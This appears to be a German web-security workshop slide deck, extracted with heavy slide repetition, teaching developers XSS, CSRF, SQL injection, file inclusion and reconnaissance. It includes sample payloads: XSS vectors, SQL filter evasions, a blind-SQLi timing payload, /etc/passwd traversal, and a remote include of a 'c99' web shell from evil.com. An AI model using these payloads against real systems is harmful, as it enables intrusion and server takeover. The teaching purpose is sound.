Wsd pentesting workshop

Preview:

Citation preview

Johann-Peter Hartmann & Marco Kaiser

Live-Hacking & Penetration Testing

Johann-Peter Hartmann

» CTO der Mayflower GmbH» Entwickler und Consultant» Gründer SektionEins GmbH» Security ist Steckenpferd seit 1994

2

Wer seid Ihr ?

3

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?

3

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS?

3

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?

3

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?» Wer kennt SQL Injections?

3

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?» Wer kennt SQL Injections?

3

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?» Wer kennt SQL Injections?

» Was erwartet ihr von diesem Workshop?

3

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?» Wer kennt SQL Injections?

» Was erwartet ihr von diesem Workshop?

3

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?» Wer kennt SQL Injections?

» Was erwartet ihr von diesem Workshop?

» Oh, sorry, daran haben wir nicht gedacht.

3

Agenda

4

Agenda

» Grundlagen

4

Agenda

» Grundlagen» Motivation Pentesting

4

Agenda

» Grundlagen» Motivation Pentesting» Information Gathering

4

Agenda

» Grundlagen» Motivation Pentesting» Information Gathering» Pentesting

4

Agenda

» Grundlagen» Motivation Pentesting» Information Gathering» Pentesting» Hands on

4

Grundlagen, Schutzmaßnahmen und Workarounds

5

Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF

5

Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF» SQL Injections

5

Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF» SQL Injections» Shell Execution

5

Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF» SQL Injections» Shell Execution» DoS

5

Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads

5

Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads » Local File Inclusions

5

Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads » Local File Inclusions» Information Disclosure

5

Warum noch einmal die Grundlagen?

6

Warum noch einmal die Grundlagen?

» Pentesting ist » bekannte Lücken finden» fehlende Sicherheitsmaßnahmen entdecken» Fehler in den Sicherheitsmaßnahmen finden

6

Warum noch einmal die Grundlagen?

» Pentesting ist » bekannte Lücken finden» fehlende Sicherheitsmaßnahmen entdecken» Fehler in den Sicherheitsmaßnahmen finden

» Proportional zur Education» bekannte Lücken unwahrscheinlich» fehlende Sicherheitsmaßnahmen selten» Fehler in Sicherheitsmaßnahmen oft

6

Warum noch einmal die Grundlagen?

» Pentesting ist » bekannte Lücken finden» fehlende Sicherheitsmaßnahmen entdecken» Fehler in den Sicherheitsmaßnahmen finden

» Proportional zur Education» bekannte Lücken unwahrscheinlich» fehlende Sicherheitsmaßnahmen selten» Fehler in Sicherheitsmaßnahmen oft

» Es geht also um die entdeckbaren Fehler

6

XSS - ein bischen Theorie

7

XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz

7

XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz» Tag-Filterung

7

XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting

7

XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting

» Löschen erkannter XSS

7

XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting

» Löschen erkannter XSS » Validierung

7

XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting

» Löschen erkannter XSS » Validierung» globales Escaping

7

XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting

» Löschen erkannter XSS » Validierung» globales Escaping» Escaping

7

XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting

» Löschen erkannter XSS » Validierung» globales Escaping» Escaping

» ... und warum /index.jsp?id=<script> kein XSS-Test ist

7

Javascript wird ausgeführt in ...

8

Javascript wird ausgeführt in ...

» <script>-Tags

8

Javascript wird ausgeführt in ...

» <script>-Tags» Urls

8

Javascript wird ausgeführt in ...

» <script>-Tags» Urls» Event-Handlern

8

Javascript wird ausgeführt in ...

» <script>-Tags» Urls» Event-Handlern» Style-Sheets

8

Javascript wird ausgeführt in ...

» <script>-Tags» Urls» Event-Handlern» Style-Sheets

» In JavaScript selbst

8

Javascript wird ausgeführt in ...

» <script>-Tags» Urls» Event-Handlern» Style-Sheets

» In JavaScript selbst» in Plugins

8

XSS in Urls

» <link href=“javascript:...» <img src=“javascript:» <meta http-equiv=“refresh“

content=“0;url=javascript:..» <table background=“javascript:...» <div style=“a:url(javascript:...)“>

» Url-Encoding schützt» Tag-Filterung hilft nicht

9

XSS in Scripts

» <script>var search=“mystring“;alert(1);//“

» aus dem JS-Stringkontext in den JS-Kontext ausbrechen

» var number=1;alert(1);

» Stringkontext: korrektes Escaping hilft» Tag-Filterung hilft nicht

10

XSS in Tags

» <input value=“12“ onmouseover=“alert(1);“>

» Attribut-Kontext -> Event-JS-Kontext» <a href=“index.htm“ href=“javascript:...» Attribut-Kontext -> Url-Kontext » <a href=“index.htm“ style=“a:expression(..“» Attribut-Kontext -> Style-Kontext» Escaping mit HTML-Entitäten hilft » Tag-Filterung schützt nicht

11

XSS in Style-Sheets

» Als Style-Definition: <style>a: expression(alert(1))</style>

» Als Style im Attribut: <a style=“background-color:expression(..

» Ausnutzung des URL-Kontextes: url()» Firefox: Ausnutzung über Behaviors

» Escaping hilft bei Strings » Tag-Filterung hilft nicht

12

XSS in HTML

» <script>alert(1)</script>» Wechsel zu Url: <a href=“javascript:...“>» Wechsel zu Event: <a onmouseover=“...“>» Wechsel zu Style: <a style=“a:expression..

» Tag-Filterung hilft » Escaping in HTML-Entitäten hilft

13

Codepage-basierte Kontextwechsel

14

Codepage-basierte Kontextwechsel

» Jedes Escaping ist abhängig von der Code-Page

14

Codepage-basierte Kontextwechsel

» Jedes Escaping ist abhängig von der Code-Page

» Fehlendes Multibyte-Handling kann Escaping boykottierenBeispiel: %C0“ -> %C0\“

14

Codepage-basierte Kontextwechsel

» Jedes Escaping ist abhängig von der Code-Page

» Fehlendes Multibyte-Handling kann Escaping boykottierenBeispiel: %C0“ -> %C0\“

» Die Codepage kann forciert werdenUTF-7-Bug in den ersten 1024 Bytes:+ADw-script+AD4-alert(1);+ADw-/script+AD4+

14

Fazit: Probleme bei XSS

15

Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle

15

Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren

15

Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren

» HTML-Entititäten

15

Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren

» HTML-Entititäten» String-Enkodierung für value=““

15

Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren

» HTML-Entititäten» String-Enkodierung für value=““» String-Escaping für JS/CSS-Strings

15

Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren

» HTML-Entititäten» String-Enkodierung für value=““» String-Escaping für JS/CSS-Strings» URL-Enkodierung in Links

15

Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren

» HTML-Entititäten» String-Enkodierung für value=““» String-Escaping für JS/CSS-Strings» URL-Enkodierung in Links

» Escaping hilft nicht bei Non-String-Injections in Javascript/Event-Kontext

15

Probleme bei XSS-Blacklists

16

Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant

16

Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig

16

Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig

» Kontext-Wechsel durch Interpretation

16

Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig

» Kontext-Wechsel durch Interpretation» Boykottierung des Escapings durch Interpretation

16

Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig

» Kontext-Wechsel durch Interpretation» Boykottierung des Escapings durch Interpretation

» Es gibt keine finale Liste dieser „Verbesserungen“

16

Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig

» Kontext-Wechsel durch Interpretation» Boykottierung des Escapings durch Interpretation

» Es gibt keine finale Liste dieser „Verbesserungen“

» pro Monat wird etwa eine neue gefunden

16

Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig

» Kontext-Wechsel durch Interpretation» Boykottierung des Escapings durch Interpretation

» Es gibt keine finale Liste dieser „Verbesserungen“

» pro Monat wird etwa eine neue gefunden

» Inhalt ist kontextabhängig

16

Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig

» Kontext-Wechsel durch Interpretation» Boykottierung des Escapings durch Interpretation

» Es gibt keine finale Liste dieser „Verbesserungen“

» pro Monat wird etwa eine neue gefunden

» Inhalt ist kontextabhängig » der gleiche String kann je nach Ausgabeort

neutral oder vergiftet sein

16

Probleme bei XSS-Blacklists 2

17

Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert

17

Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert» Attribute wie dojotype=...

17

Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert» Attribute wie dojotype=... » URL-Moniker wie skype: oder tel:

17

Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert» Attribute wie dojotype=... » URL-Moniker wie skype: oder tel:» Browser-Plugins wie Greasemonkey

17

Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert» Attribute wie dojotype=... » URL-Moniker wie skype: oder tel:» Browser-Plugins wie Greasemonkey» JavaScript-Includes für Adserver

17

Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert» Attribute wie dojotype=... » URL-Moniker wie skype: oder tel:» Browser-Plugins wie Greasemonkey» JavaScript-Includes für Adserver

» Blacklists sind immer unvollständig

17

Fehlerhafte XSS-Filter

» String-Operationen als Filter» <script>-Tags werden automatisch entfernt» Was ist mit <scr<script>ipt> ? » XSS Cheat Sheet

» http://ha.ckers.org/xss.html

18

Externe XSS-Vektoren

19

Externe XSS-Vektoren

» RSS

19

Externe XSS-Vektoren

» RSS» Web-Services

19

Externe XSS-Vektoren

» RSS» Web-Services» CSV

19

Externe XSS-Vektoren

» RSS» Web-Services» CSV» Meta-Daten von Medienfiles

19

Externe XSS-Vektoren

» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier

19

Externe XSS-Vektoren

» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier» Logfiles

19

Externe XSS-Vektoren

» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier» Logfiles» Poisoning beim Spidern

19

Cross Site Request Forgery

20

Cross Site Request Forgery

» Ist wirklich kritisch: wurde vor kurzem für Erpressung über Domain-Transfer genutzt

» Häufigster Schutz: Token-basiert » Ist mit einem XSS zu boykottieren» -> bei vorhandener CSRF-Protection nach

XSS suchen

20

Schutzmaßnahmen bei SQL-Injection

» Parameter Binding» Parameter Escaping» Blacklisting

21

Angriffe auf Parameter Binding

22

Angriffe auf Parameter Binding

» Namen aus externen Quellen

22

Angriffe auf Parameter Binding

» Namen aus externen Quellen» Datenbanken

22

Angriffe auf Parameter Binding

» Namen aus externen Quellen» Datenbanken» Tabellen

22

Angriffe auf Parameter Binding

» Namen aus externen Quellen» Datenbanken» Tabellen» Spalten

22

Angriffe auf Parameter Binding

» Namen aus externen Quellen» Datenbanken» Tabellen» Spalten

» SQL-Syntax

22

Angriffe auf Parameter Binding

» Namen aus externen Quellen» Datenbanken» Tabellen» Spalten

» SQL-Syntax» Sortierrichtungen

22

Angriffe auf Parameter Binding

» Namen aus externen Quellen» Datenbanken» Tabellen» Spalten

» SQL-Syntax» Sortierrichtungen» Operationen

22

Parameter Escaping

23

Parameter Escaping

» Multi-Byte-Attacken

23

Parameter Escaping

» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken

23

Parameter Escaping

» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken» alte Datenbank-Versionen

23

Parameter Escaping

» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken» alte Datenbank-Versionen» seltsame Codepages

23

Parameter Escaping

» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken» alte Datenbank-Versionen» seltsame Codepages

» Fehlendes Escaping von Bezeichnern

23

Parameter Escaping

» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken» alte Datenbank-Versionen» seltsame Codepages

» Fehlendes Escaping von Bezeichnern» Fehlendes Whitelisting von SQL-Syntax

23

SQL Blacklisting Evasions

24

SQL Blacklisting Evasions

» SQL Comment Filter Evasions

24

SQL Blacklisting Evasions

» SQL Comment Filter Evasions» mehrzeilige Comments: /* */

24

SQL Blacklisting Evasions

» SQL Comment Filter Evasions» mehrzeilige Comments: /* */» einzeilige Comments: -- ,#

24

SQL Blacklisting Evasions

» SQL Comment Filter Evasions» mehrzeilige Comments: /* */» einzeilige Comments: -- ,#» können innerhalb von Statements genutzt

werden: u/**/nion

24

SQL Blacklisting Evasions

» SQL Comment Filter Evasions» mehrzeilige Comments: /* */» einzeilige Comments: -- ,#» können innerhalb von Statements genutzt

werden: u/**/nion» Umgehen von Escaping mit Funktionen

24

SQL Blacklisting Evasions

» SQL Comment Filter Evasions» mehrzeilige Comments: /* */» einzeilige Comments: -- ,#» können innerhalb von Statements genutzt

werden: u/**/nion» Umgehen von Escaping mit Funktionen

» char(65) an Stelle von ‘a‘

24

Code / OS Level Executions

25

Code / OS Level Executions

» Shell Kommando Escaping» Standardlösung: Escape von

“\#&;}{|*?`<>^()[]» Umgehen mit Multibyte-Attacken» Beispiel: PHP und GBK» UTF-8: (von Shell abhängig, to be done)

25

Denial of Service

26

Denial of Service

» Schutzmaßnahmen

26

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider

26

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider » Webserver

26

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider » Webserver

» IDS

26

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider » Webserver

» IDS» Throttling, mod_bandwidth

26

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider » Webserver

» IDS» Throttling, mod_bandwidth

» Applikationsbasiert

26

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider » Webserver

» IDS» Throttling, mod_bandwidth

» Applikationsbasiert » z.B. Auto-Logout oder IP-Ban

26

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider » Webserver

» IDS» Throttling, mod_bandwidth

» Applikationsbasiert » z.B. Auto-Logout oder IP-Ban

» Evasion über teure Operationen

26

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider » Webserver

» IDS» Throttling, mod_bandwidth

» Applikationsbasiert » z.B. Auto-Logout oder IP-Ban

» Evasion über teure Operationen» z.B. Registration, FriendOfAFriend, Suchen

mit Rechteprüfung

26

File Uploads

27

File Uploads

» Gefahr von XSS, Code Executions, Content Manipulation

27

File Uploads

» Gefahr von XSS, Code Executions, Content Manipulation

» Abwehr: Virtualisierung der Ablage, Virenchecks

27

File Uploads

» Gefahr von XSS, Code Executions, Content Manipulation

» Abwehr: Virtualisierung der Ablage, Virenchecks

» Umgehung» Flash-Security: einschmuggeln einer

crossdomain.xml-Alternative » Zip Bombs » Microsofts Filetyperkennung

27

Local File Inclusions

» include “const“.$_GET[‘bla‘].“const“;» ?bla=/../../etc/passwd%00» ?bla=/../../var/log/apache/access_log» ?bla=/../../var/log/vsftp.log%00

» include $_GET[‘bla‘] . “const“;» ?bla=data://text/plain;base64,P...» ?bla=php://filter/resource=http://evil.com/

c99.txt

28

Information Disclosure

» Geschützt durch korrekte (Fehler-)Ausgaben

» Umgehung» Timing-Attacken (Login: Username existent?)» Artifakte» Content-Disclosure Fehler

29

Motivation Pentesting für Entwickler

30

Motivation Pentesting für Entwickler

» Know your enemy

30

Motivation Pentesting für Entwickler

» Know your enemy » Der Entwickler ist der Hebel für Security

30

Motivation Pentesting für Entwickler

» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse

30

Motivation Pentesting für Entwickler

» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse

» offensichtliche Probleme werden gefunden

30

Motivation Pentesting für Entwickler

» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse

» offensichtliche Probleme werden gefunden» „Oberkante“ des Eigenrisikos wird gefunden

30

Motivation Pentesting für Entwickler

» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse

» offensichtliche Probleme werden gefunden» „Oberkante“ des Eigenrisikos wird gefunden

» Security Awareness

30

Motivation Pentesting für Entwickler

» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse

» offensichtliche Probleme werden gefunden» „Oberkante“ des Eigenrisikos wird gefunden

» Security Awareness » Security ist komplex

30

Motivation Pentesting für Entwickler

» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse

» offensichtliche Probleme werden gefunden» „Oberkante“ des Eigenrisikos wird gefunden

» Security Awareness » Security ist komplex

» Ohne Verständnis der Angreiferseite sind manche Abwehrmaßnahmen nicht möglich

30

Information Gathering

31

Information Gathering

» Infrastruktur

31

Information Gathering

» Infrastruktur» Host

31

Information Gathering

» Infrastruktur» Host» Webserver

31

Information Gathering

» Infrastruktur» Host» Webserver» Webapplikationen

31

Information Gathering - Infrastruktur

32

Information Gathering - Infrastruktur

» Welcher Hoster, welcher Netzblock» Sind andere Server in der Nähe, zum Beispiel

SQL-Server? » Staging-Server?

32

Information Gathering - Infrastruktur

» Welcher Hoster, welcher Netzblock» Sind andere Server in der Nähe, zum Beispiel

SQL-Server? » Staging-Server?

» Tools» whois, Nmap, BSI OSS Security Suite, fierce

32

Information Gathering - Infrastruktur

» Welcher Hoster, welcher Netzblock» Sind andere Server in der Nähe, zum Beispiel

SQL-Server? » Staging-Server?

» Tools» whois, Nmap, BSI OSS Security Suite, fierce

» Fehler in der Infrastruktur » offenen Zone-Listen im DNS, offene

Datenbank-Server etc

32

Information Gathering Host

33

Information Gathering Host

» Nmap: offene Ports, welche Services

33

Information Gathering Host

» Nmap: offene Ports, welche Services» Banner: Welche Versionen?

33

Information Gathering Host

» Nmap: offene Ports, welche Services» Banner: Welche Versionen?» HTTPrint

33

Information Gathering Host

» Nmap: offene Ports, welche Services» Banner: Welche Versionen?» HTTPrint» Andere Domains auf der gleichen IP

http://myipneighbors.com

33

Information Gathering Webserver

34

Information Gathering Webserver

» Google Dorks

34

Information Gathering Webserver

» Google Dorks » http://johnny.ihackstuff.com/ghdb.php

34

Information Gathering Webserver

» Google Dorks » http://johnny.ihackstuff.com/ghdb.php» Goolag Scanner von Cult of the Dead Cow

34

Information Gathering Webserver

» Google Dorks » http://johnny.ihackstuff.com/ghdb.php» Goolag Scanner von Cult of the Dead Cow

» Wikto Web Server Scanner

34

Information Gathering Webserver

» Google Dorks » http://johnny.ihackstuff.com/ghdb.php» Goolag Scanner von Cult of the Dead Cow

» Wikto Web Server Scanner» OpenSource Perl Scanner mit grosser Library

34

Information Gathering Webserver

» Google Dorks » http://johnny.ihackstuff.com/ghdb.php» Goolag Scanner von Cult of the Dead Cow

» Wikto Web Server Scanner» OpenSource Perl Scanner mit grosser Library

» http://www.netcraft.co.uk/

34

Information Gathering Webserver

» Google Dorks » http://johnny.ihackstuff.com/ghdb.php» Goolag Scanner von Cult of the Dead Cow

» Wikto Web Server Scanner» OpenSource Perl Scanner mit grosser Library

» http://www.netcraft.co.uk/ » FoundStone SuperScan

34

Lifedemo

» myipneighbors.com» Wikto» Goolag Scanner

35

Zielhost: Artifakte

36

Zielhost: Artifakte

» Transparente Endungen und Artifakte» config.ini» config.ini~» config.ini.bak» config.ini.tmp» config.old» config.orig

36

Zielhost: Artifakte

» Transparente Endungen und Artifakte» config.ini» config.ini~» config.ini.bak» config.ini.tmp» config.old» config.orig

» Beispiel: Artifakte von SCM: http://omniti.com/.svn/entries

36

Parameter Manipulation

37

Parameter Manipulation

» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies

37

Parameter Manipulation

» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies

» Andere Manipulationen

37

Parameter Manipulation

» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies

» Andere Manipulationen» User-Agent

37

Parameter Manipulation

» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies

» Andere Manipulationen» User-Agent» DNS, Hostname vom Client

37

Parameter Manipulation

» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies

» Andere Manipulationen» User-Agent» DNS, Hostname vom Client» Bei Default-Domain: HTTP Host-Header

37

Parameter Manipulation

» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies

» Andere Manipulationen» User-Agent» DNS, Hostname vom Client» Bei Default-Domain: HTTP Host-Header» Accept-Header: Language, Encoding

37

Pentesting Webapplikationen

38

Pentesting Webapplikationen

» Tools

38

Pentesting Webapplikationen

» Tools» XSS Pentesting

38

Pentesting Webapplikationen

» Tools» XSS Pentesting» CSRF Pentesting

38

Pentesting Webapplikationen

» Tools» XSS Pentesting» CSRF Pentesting» SQL

38

Pentesting Webapplikationen

» Tools» XSS Pentesting» CSRF Pentesting» SQL

» SQL Injection

38

Pentesting Webapplikationen

» Tools» XSS Pentesting» CSRF Pentesting» SQL

» SQL Injection» Blind SQL Injection

38

Pentesting Webapplikationen

» Tools» XSS Pentesting» CSRF Pentesting» SQL

» SQL Injection» Blind SQL Injection

» Information Disclosure

38

Tools zum manuellen Pentesten

39

Tools zum manuellen Pentesten

» Browser: Firefox

39

Tools zum manuellen Pentesten

» Browser: Firefox » Firefox Plugins

39

Tools zum manuellen Pentesten

» Browser: Firefox » Firefox Plugins

» Tamper Data

39

Tools zum manuellen Pentesten

» Browser: Firefox » Firefox Plugins

» Tamper Data » Hackbar

39

Tools zum manuellen Pentesten

» Browser: Firefox » Firefox Plugins

» Tamper Data » Hackbar» Firebug

39

Tools zum manuellen Pentesten

» Browser: Firefox » Firefox Plugins

» Tamper Data » Hackbar» Firebug

» Greasemonkey XSS Assistant

39

XSS Pentest

40

XSS Pentest

» Typ 0 XSSEinfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?

40

XSS Pentest

» Typ 0 XSSEinfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?

» Wird die Seite mit diesem String manipuliert?

40

XSS Pentest

» Typ 0 XSSEinfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?

» Wird die Seite mit diesem String manipuliert?

» Typisches Beispiel: Frames und Iframes

40

XSS Pentest

41

XSS Pentest

» Typ 1 / Typ 2 XSSAlle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt

41

XSS Pentest

» Typ 1 / Typ 2 XSSAlle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt

» Anhand des Auftrittsortes eine passende XSS-Payload konstruieren

41

XSS Pentest

» Typ 1 / Typ 2 XSSAlle Formularfelder oder GET-Variablen mit einer Signatur absenden und prüfen, ob sie nach dem Submit wieder auftritt

» Anhand des Auftrittsortes eine passende XSS-Payload konstruieren

» Falls ein Filter greift Filter-Evasions aus dem XSS-Cheat-Sheet verwenden

41

CSRF Pentesting

42

CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz?

42

CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz? » Falls ja

42

CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz? » Falls ja

» Ist der Token vorhersehbar?

42

CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz? » Falls ja

» Ist der Token vorhersehbar? » wird der Token überprüft?

42

CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz? » Falls ja

» Ist der Token vorhersehbar? » wird der Token überprüft?

» Falls nein

42

CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz? » Falls ja

» Ist der Token vorhersehbar? » wird der Token überprüft?

» Falls nein» existiert ein Referer-Check?

42

CSRF Pentesting

» Prüfung: Existiert ein Tokenschutz? » Falls ja

» Ist der Token vorhersehbar? » wird der Token überprüft?

» Falls nein» existiert ein Referer-Check?

» Prüfung auf XSS und Flash-Angriffe, um das Token auszulesen

42

SQL Injection Pentesting

43

SQL Injection Pentesting

» Parametermanipulation

43

SQL Injection Pentesting

» Parametermanipulation» Test mit Escape-Parametern und

Sonderzeichen

43

SQL Injection Pentesting

» Parametermanipulation» Test mit Escape-Parametern und

Sonderzeichen» Lassen sich Fehlermeldungen provozieren?

43

SQL Injection Pentesting

» Parametermanipulation» Test mit Escape-Parametern und

Sonderzeichen» Lassen sich Fehlermeldungen provozieren?» Ändert sich etwas an den dargestellten

Werten?

43

SQL Injection Pentesting

44

SQL Injection Pentesting

» Rekonstruktion der Query

44

SQL Injection Pentesting

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?

44

SQL Injection Pentesting

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler

44

SQL Injection Pentesting

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler

» Union-Versuch

44

SQL Injection Pentesting

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler

» Union-Versuch» Klammern-Tests

44

SQL Injection Pentesting

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler

» Union-Versuch» Klammern-Tests

» Feldzahl und -namen Erkennung mit Union

44

SQL Injection Pentesting

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler

» Union-Versuch» Klammern-Tests

» Feldzahl und -namen Erkennung mit Union» Neutralisierung von Filtern durch Kommentare

44

SQL Injection Pentesting

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler

» Union-Versuch» Klammern-Tests

» Feldzahl und -namen Erkennung mit Union» Neutralisierung von Filtern durch Kommentare

» Erkennung der Datenbank und Version

44

SQL Injection Pentesting

» Rekonstruktion der Query» Wird der Wert direkt verwand oder escaped?» Position der Injection durch Tests und Fehler

» Union-Versuch» Klammern-Tests

» Feldzahl und -namen Erkennung mit Union» Neutralisierung von Filtern durch Kommentare

» Erkennung der Datenbank und Version » SELECT /*!32302 1/0, */1 FROM tablename

44

SQL Injection Pentesting - Blind SQL Injection

45

SQL Injection Pentesting - Blind SQL Injection

» Nicht jede Query liefert ein sichtbares Ergebnis

45

SQL Injection Pentesting - Blind SQL Injection

» Nicht jede Query liefert ein sichtbares Ergebnis

» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren

45

SQL Injection Pentesting - Blind SQL Injection

» Nicht jede Query liefert ein sichtbares Ergebnis

» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren

» index.jsp?field=name&direction=ASC

45

SQL Injection Pentesting - Blind SQL Injection

» Nicht jede Query liefert ein sichtbares Ergebnis

» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren

» index.jsp?field=name&direction=ASC» ..direction=,Benchmark(1...0, md5(1)) ASC

45

SQL Injection Pentesting - Blind SQL Injection

» Nicht jede Query liefert ein sichtbares Ergebnis

» Aber: man kann das Laufzeitverhalten ändern, oder Fehler provozieren

» index.jsp?field=name&direction=ASC» ..direction=,Benchmark(1...0, md5(1)) ASC» Kann zur Passwortenumeration genutzt

werden

45

Information Disclosure Pentesting

46

Information Disclosure Pentesting

» Nach Artifakten suchen

46

Information Disclosure Pentesting

» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren

46

Information Disclosure Pentesting

» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren

» Parameter-Manipulation

46

Information Disclosure Pentesting

» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren

» Parameter-Manipulation» gezielt Sondernzeichen nutzen

46

Information Disclosure Pentesting

» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren

» Parameter-Manipulation» gezielt Sondernzeichen nutzen

» ‚ \ %00 %0A %0D %27

46

Information Disclosure Pentesting

» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren

» Parameter-Manipulation» gezielt Sondernzeichen nutzen

» ‚ \ %00 %0A %0D %27» Häufig sind Angaben in den Kommentaren

versteckt!

46

Information Disclosure Pentesting

» Nach Artifakten suchen» Gezielt Fehlermeldungen provozieren

» Parameter-Manipulation» gezielt Sondernzeichen nutzen

» ‚ \ %00 %0A %0D %27» Häufig sind Angaben in den Kommentaren

versteckt!» Typische Files: /admin/, /README etc

46

Andere Vektoren

47

Andere Vektoren

